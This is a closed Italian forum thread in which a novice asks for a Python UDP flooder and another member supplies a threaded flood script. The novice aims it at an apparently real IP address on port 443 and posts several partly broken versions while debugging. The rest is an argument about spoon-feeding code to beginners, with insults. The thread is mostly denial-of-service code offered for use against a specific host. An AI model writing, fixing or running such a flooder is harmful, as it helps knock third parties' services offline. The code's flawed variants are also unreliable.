Domanda Come creare un UDP FLOODER in python?

Stato
Discussione chiusa ad ulteriori risposte.
Sull'indirizzo ip.

class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass


La riga è
self.ip = 80.116.51.xxx
 
Sull'indirizzo ip.

class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = 80.116.51.XX
self.port = 443
self.size = 50
self.packets = 50
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass


La riga è
self.ip = 80.116.51.xxx
Devi inizializzare quelle variabili all'inizio del codice, tipo
Codice:
Ip = "xx.xx.xx.xx"
E poi nella riga della classe
Codice:
self.ip = ip
Stessa cosa per le altre variabili, in pratica non devi modificare il codice, devi aggiungere all inizio le variabili, o sennò passare come parametri a .__init__
 
Non mi da alcun errore di sintassi:
Viene restituito il seguente risultato:

================= RESTART: C:/Users/Maste/Desktop/tronco.py =================

Non parte alcun flood.
 
Cambia il codice, metti questo:
Codice:
import random
import socket
import sys
import threading

ip = #inserisci l'ip
port = #inserisci la porta
size = #inserisci la dimensione
packets =
class udpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                if self.port == 0:
                    self.port = random.randrange(1, 65535)
                self.udp.sendto(bytes,(self.ip, self.port))
            except:
                pass
main = udpFlood.__init__(ip, port, size, packets)
main.run()
Dovrebbe andare...
 
Adesso mi compare questo...

Traceback (most recent call last):
File "C:/Users/Maste/Desktop/aa.py", line 27, in <module>
main = udpFlood.__init__(ip, port, size, packets)
TypeError: __init__() missing 1 required positional argument: 'packets'


C'è un errore nella variabile pacchetto, se non la metto mi da un errore se la metto mi da quel errore.


Ti rido il codice che ho inserito adesso (scusa il disturbo).

import random
import socket
import sys
import threading

ip = "80.116.51.213"
port = "443"
size = "9000"
packets = "9000"
class udpFlood(threading.Thread):
def __init__(self, ip, port, size, packets):
self.ip = ip
self.port = port
self.size = size
self.packets = packets
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
threading.Thread.__init__(self)
def run(self):
for i in range(self.packets):
try:
bytes = random._urandom(self.size)
if self.port == 0:
self.port = random.randrange(1, 65535)
self.udp.sendto(bytes,(self.ip, self.port))
except:
pass
main = udpFlood.__init__(ip, port, size, packets)
main.run()
 
Su questo non so aiutarti, prova a fare uba ricerca su Google, magari trovi qualcosa...
Domani se riesco guardo anche io...
 
@simoste dovresti capire che c'è gente che può fare determinate cose e c'è gente che non può fare determinate cose.
Adesso mi spieghi perchè gli hai dato il codice se non ha un minimo di conoscenze al riguardo? È controproducente, ne sei consapevole?
 
Ultima modifica:
@simoste dovresti capire che c'è gente che può fare determinate cose e c'è gente che non può fare determinate cose.
Adesso mi spieghi perchè gli hai dato il codice se non ha un minimo di conoscenze al riguardo? È controproducente, ne sei consapevole?
Ne sono consapevole, ma io mi sono limitato a rispondere alle sue domande, ha chiesto il codice e io gliel'ho dato, se è controproducente o no spetta a lui deciderlo... io ho solo soddisfatto le sue richieste.
Comunque penso che il modo migliore per studiare un linguaggio (a parer mio ovviamente) sia partire da un codice semi complesso e risolvere i problemi man mano, io gli ho dato il codice, studiarselo è una cosa che deve fare lui.
E se riguardassi i vari post io gli ho anche detto che non era un codice semplicissimo da cui partire...
 
Nullptr, ma quanto sei deficiente, non lo capisci che ho intenzione di avere il codice e poi analizzarlo, eccolo il deficiente!, tu sei il classico idiota di turno che si crede il GENIO dell'informatica, io di informatica me la cavo, e con il python sto ancora alle basi, ma tu sei così deficiente da credere che non possa fare niente, ma muori va.

Appunto simoste, ho bisogno del codice e ovviamente lo analizzerò, a differenza di molti lamer tipo nullptr ;)
 
@simoste dovresti capire che c'è gente che può fare determinate cose e c'è gente che non può fare determinate cose.
Adesso mi spieghi perchè gli hai dato il codice se non ha un minimo di conoscenze al riguardo? È controproducente, ne sei consapevole?
Comunque come dice il vecchio saggio "non si nasce imparati" perciò non credo che tu sia partito/a già sapendo programmare Python, se lui crede che sia un buon metodo analizzare codici già fatti ( cosa che penso anche io ) perchè non fornirgli del codice...
 
Così a me non da errori...
Codice:
import random
import socket
import sys
import threading

ip =                                                                            #ip a cui inviare i pacchetti
port =                                                                          #porta a cui mandare i pacchetti (0 = tutte le porte)
size =                                                                          #dimensione dei pacchetti
packets =                                                                       #numero di pacchetti da mandare

class udpFlood(threading.Thread):
    def __init__(self, ip, port, size, packets):
        self.ip      = ip
        self.port    = port
        self.size    = size
        self.packets = packets
        self.udp     = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        threading.Thread.__init__(self)
    def run(self):
        for i in range(self.packets):
            try:
                bytes = random._urandom(self.size)
                if self.port == 0:
                    self.port = random.randrange(1, 65535)
                    self.udp.sendto(bytes,(self.ip, self.port))
                    print "Flooding..."
            except:
                pass
Flood = udpFlood(ip, port, size, packets)
Flood.run()

Non mi intendo molto di UDP Flooding e mi stavo chiedendo, come mai se la porta = 0 manda i pacchetti, se è diversa da 0 non manda nulla?
 
Io non sono il classico lamerino che cerca il codice e basta, io lo analizzo e cerco di capirne il tutto, passo passo.
 
E comunque mi da sempre l'errore sul terzo blocco dell'indirizzo ip, non importa comunque, grazie per il tempo che hai dedicato.
 
Comunque come dice il vecchio saggio "non si nasce imparati" perciò non credo che tu sia partito/a già sapendo programmare Python, se lui crede che sia un buon metodo analizzare codici già fatti ( cosa che penso anche io ) perchè non fornirgli del codice...
È inutile che mi citi questi aforismi, uno non nasce già sapendo programmare ma uno non inizia dalle cose più complesse senza avere cognizione della parte elementare del linguaggio (come dice il buon vecchio saggio: "la convinzione è peggio della pazzia").
E questo non è un obbligo, è un suggerimento perchè è immancabile che in futuro troverà molti concetti non chiari e che col passare del tempo foggiano altre lagune.
Visto che il ragazzo non afferra il concetto e se ne esce tirando degli insulti io abbandono questa discussione e mi faccio un chiletto di affari miei, tanto parlavo con i muri.
 
  • Mi piace
Reazioni: TheSeeker e OKIN
Semplice, continui e continui e a darmi fastidio, e avevo bisogno di quel codice per vedere se lo script funzionasse, e dopo personalizzarlo, e capirlo!.

A te cosa ti importerebbe se me lo hanno dato?
 
Semplice, continui e continui e a darmi fastidio, e avevo bisogno di quel codice per vedere se lo script funzionasse, e dopo personalizzarlo, e capirlo!.

A te cosa ti importerebbe se me lo hanno dato?
Perché non è normale che uno che non sa nemmeno cosa vuol dire "undefined 'threading' name" chieda il codice per un flooder.. e perche dando il codice già pronto si inizia a viziare chi l'ha chiesto.
 
  • Mi piace
Reazioni: OKIN
Certo, quindi non so un càzzo di informatica perché non conosco bene il python e perché sto alle basi, solo perché sei a un livello più avanzato (del python, almeno..) e perché a te A SCUOLA te lo spiegano o te lo hanno spiegato non significa che sei il genio del momento, ti ricordo..
 
Certo, quindi non so un càzzo di informatica perché non conosco bene il python e perché sto alle basi, solo perché sei a un livello più avanzato (del python, almeno..) e perché a te A SCUOLA te lo spiegano o te lo hanno spiegato non significa che sei il genio del momento, ti ricordo..
Premettendo che io non ti ho accusato di 'non sapere un pazzo d'informatica' (hai forse la coda di paglia?) stavo solo dicendo che bisogna prendersi del tempo, perchè è logico che qualcuno che non riesce a comprendere un errore che gli si presenta (come è GIUSTO che sia all' INIZIO) difficilmente potrà creare un flooder, non avendo ancora le conoscenze necessarie.
Ma ripeto, è NORMALISSIMO, stai ancora studiando le BASI (l'hai detto tu eh).
 
Stato
Discussione chiusa ad ulteriori risposte.